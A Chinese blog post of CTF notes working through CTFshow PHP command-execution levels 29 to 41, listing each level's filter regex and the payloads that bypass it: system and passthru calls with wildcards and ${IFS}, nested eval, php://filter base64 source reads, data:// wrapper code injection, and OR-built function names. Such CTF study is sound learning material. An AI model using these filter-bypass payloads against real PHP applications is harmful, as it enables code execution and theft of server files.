首页 > 其他分享 >CTFer——RCE命令执行漏洞

CTFer——RCE命令执行漏洞

时间:2024-02-24 21:12:23浏览次数:34  
标签:preg filter 漏洞 flag CTFer eval RCE php match

例题总结:

CTFshow

29:

if(!preg_match("/flag/i", $c)){
        eval($c); (eval内执行的是php代码,必须以分号结尾)

绕过方式:

(1)?c=system("cat%20fla*"); fla* 代替flag

  (2)  ?c=eval($_GET[1]);&1=phpinfo(); 参数输入加eval

(3)?c=echo `cat fla*`;

 

30:

if(!preg_match("/flag|system|php/i", $c)){
        eval($c);

(1):?c=passthru("cat%20fla*");  passthru替代system执行系统命令

(2) (3) 同上都可以使用

(4)?c=passthru("tac%20fla?????");

如果*被过滤掉 可以使用ls先查看存在的文件 在使用通配符 ???代替

 

31:if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);

比上一题多过滤了

cat -----可以使用tac 以及多种方式替换

空格 可以用 ${IFS}绕过

. php flag可以用通配符?绕过

(1)passthru 绕过

  url/?c=passthru("tac\${IFS}fla*");
注意:为什么要加\ 因为上面的$需要用反斜杠进行转义,

这也解释了为什么preg_match函数中的\后的标点被过滤

(2)passru + 通配符

(3)嵌套eval函数绕过 参数传参同上

 

32:可以利用include进行绕过, 具体实现方式为 eval(include flag.php;)

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);

比上一关多过滤了(  and ` and ' \

过滤了括号就表明上述的方法无法使用

这时候可以使用 php:filter

过滤器的分类及常见过滤器:

string filter(字符过滤器)
                string.rot13  (对字符串执行 ROT13 转换)
                        例:php://filter/string.rot13/resource=flag.php
                string.toupper (转大写)
                        例:php://filter/string.toupper/resource=flag.php
                string.tolower (转小写)
                string.strip_tags (去除 HTML 和 PHP 标记,尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果)
                        例:php://filter/string.strip_tags/resource=flag.php
 conversion filter (转换过滤器)
                convert.base64-encode & convert.base64-decode (base64加密 base64解密)
                        例:php://filter/convert.base64-encode/resource=flag.php
                convert.quoted-printable-encode & convert.quoted-printable-decode(在字符串后加=0A,及恢复)
 compression filter(压缩过滤)
                zlib.deflate & zlib.inflate(压缩 解压)
                        例:php://filter/zlib.deflate/resource=flag.php                                                       php://filter/zlib.inflate/resource=flag.php
                bzip2.compress & bzip2.decompress(zip 压缩 解压)
        encryption filter(加密过滤器)

题解:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

其中?>代替分号 因为;被过滤了

 

34:

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);

多过滤了: 但是对于间接传参好像不影响,继续使用上题的payload

 

35:if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);

=号也被过滤了

36:if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);

增加了0-9的数字限制,传参时候换为单个字符即可

?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

 

37:

if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;

文件包含:

如果这些特殊的指令所包含的文件路径被泄露(include下的文件)

?c=data://text/plain,<?php system("tac fla*.php");?>

使用data伪协议

 

38:if(!preg_match("/flag|php|file/i", $c)){
        include($c);

多了 php 和 file 的过滤

?c=data://text/plain,<?=system("cat fla*")?>

 

39:if(!preg_match("/flag/i", $c)){
        include($c.".php");

拼接的php可以不用管>?就已经代表php语句的闭合 include只会处理内部的内容,

?c=data://text/plain,<?=system("cat fla*.php")?>、

 

40:

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);

无参数rce (暂时还不会)

 

41:

if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");

无数字字符rce

首先是POST方法传递参数,其次过滤了基本上所有的可见字符,

但是没有过滤或运算符|和双引号”,所以可以使用或运算构造字符


构造payload

system=(“%13%19%13%14%05%0d”|"%60%60%60%60%60%60)

其中%13|%60=s 可以看出是前半部分组合 后半部分也组合

我们构造出了(system) (ls)

payload:("%13%19%13%14%05%0d"|"%60%60%60%60%60%60") ("%0c%13"|"%60%60")

最后使用一体化脚本跑出来了。。

 

 


 

 


 

 


 

标签:preg,filter,漏洞,flag,CTFer,eval,RCE,php,match
From: https://www.cnblogs.com/heck1ng/p/18030417

相关文章

  • Codeforces 486E LIS of Sequence
    考虑一个暴力的做法:建立一个超级起点\(a_0=0\)超级终点\(a_{n+1}=\inf\)。求出\(f_i\)代表\(1\simi\)且以\(i\)结尾的\(\text{LIS}\)长度。考虑\(f_i=\max\{f_j+1\}(j<i\landa_j<a_i)\)这个转移的式子,如果\(f_i=f_j+1(j<i\landa_j<a_i......
  • codeforces 1575M Managing Telephone Poles
    假设固定了\((x,y)\),考虑其和\((x',y')\)的距离\((x-x')^2+(y-y')^2=x^2-2xx'+x'^2+y^2-2yy'+y'^2=(x^2+y^2)+(-2xx'+x'^2)+(-2yy'+y'^2)\)。第一个括号内的式子是个定值,不用管;第二三个式子都是一次函数的形式......
  • Educational Codeforces Round 162 (Rated for Div. 2)
    不会F的场。A答案是最左的\(1\)和最右的\(1\)之间的\(0\)的个数。Code#include<bits/stdc++.h>usingnamespacestd;usingll=longlong;intmain(){ ios::sync_with_stdio(false); cin.tie(0); intt; cin>>t; while(t--){ intn; cin>>n......
  • Educational Codeforces Round 162 [Rated for Div. 2]
    第二次,三道题,剩下的回学校再补,总结:还是需要多练习A:让数列里所有的1都挨在一起,可以看出,相邻1之间有多少个0就需要操作几次,特判:当只有一个1或者原本全是1就输出0;voidsolve(){cin>>n;inttop1=0,top2=0,cnt=0;memset(a,0,sizeof(a));memset(b,0,siz......
  • 读论文-基于序列模式的电子商务推荐系统综述(A Survey of Sequential Pattern Based E
    前言今天读的论文为一篇于2023年10月3日发表在《算法》(Algorithms)的论文,这篇文章综述了基于序列模式的电子商务推荐系统,强调了通过整合用户购买和点击行为的序列模式来提高推荐准确性、减少数据稀疏性、增加推荐新颖性,并改善推荐系统的可扩展性。文章详细分析了现有推荐系统的......
  • 最全linux查找漏洞武器大全,快来挑一件你趁手的兵器吧
    最全linux查找漏洞武器大全,快来挑一件你趁手的兵器吧原创 波哥 IT运维技术圈 2024-02-2219:13 广东 听全文Linux下有多种工具和软件可以用来查找系统中的漏洞。以下是一些常用的工具,它们有免费的版本,也有提供更高级的付费版本:1.Nessus简介:Nessus是一款广泛......
  • Codeforces 799E Aquarium decoration
    考虑去枚举能满足\(1,2\)的个数\(l\),那自然只能满足\(1\)或\(2\)的个数为\(\max\{k-l,0\}\)。对于还剩下的,可以从只能满足\(1,2\)和不能满足任意一个的选出来。显然如果要选就是选最小的。考虑用个数据结构优化这个过程。查询前\(k\)大的和,插入一个数,可以想......
  • Codeforces 图论题
    CF243BHydra枚举点\(u,v\),或者说枚举边。然后找出\(u,v\)分别所连的点。有数组\(st\),结点\(x\)仅与\(u\)相邻则\(st[x]=1\),仅与\(v\)相邻则\(st[x]=2\),与两个点都相邻则\(st[x]=3\)。用数组\(rest\)记录\(st[x]=3\)的所有\(x\)。先优先选走至多\(h\)个\(......
  • Codeforces 869D The Overdosing Ubiquity
    考虑树的\(\text{dfs}\)(根据当前节点\(u\)找到\(v\)满足存在\((u,v)\),然后走向\(v\)进入更深的搜索)为和能做到\(O(n)\)的复杂度。原因是没有环的情况,到每个点只有一条路径。回到这个题,有\(m\)条边导致到每个点可能有多条路径了。能发现其实还是能\(\text{dfs}\)......
  • Salesforce顾问如何拿到更高的薪水?
    顾问的角色已经在Salesforce生态系统存在了一段时间,随着Salesforce针对职业发展的Trailhead培训模块的发布,该角色的热度又达到了新的浪潮。越来越多人走上了Salesforce顾问这条职业道路。当然其薪资水平也非常可观,据调查,美国的Salesforce顾问会在3-5年内达到六位数的薪水,这在很......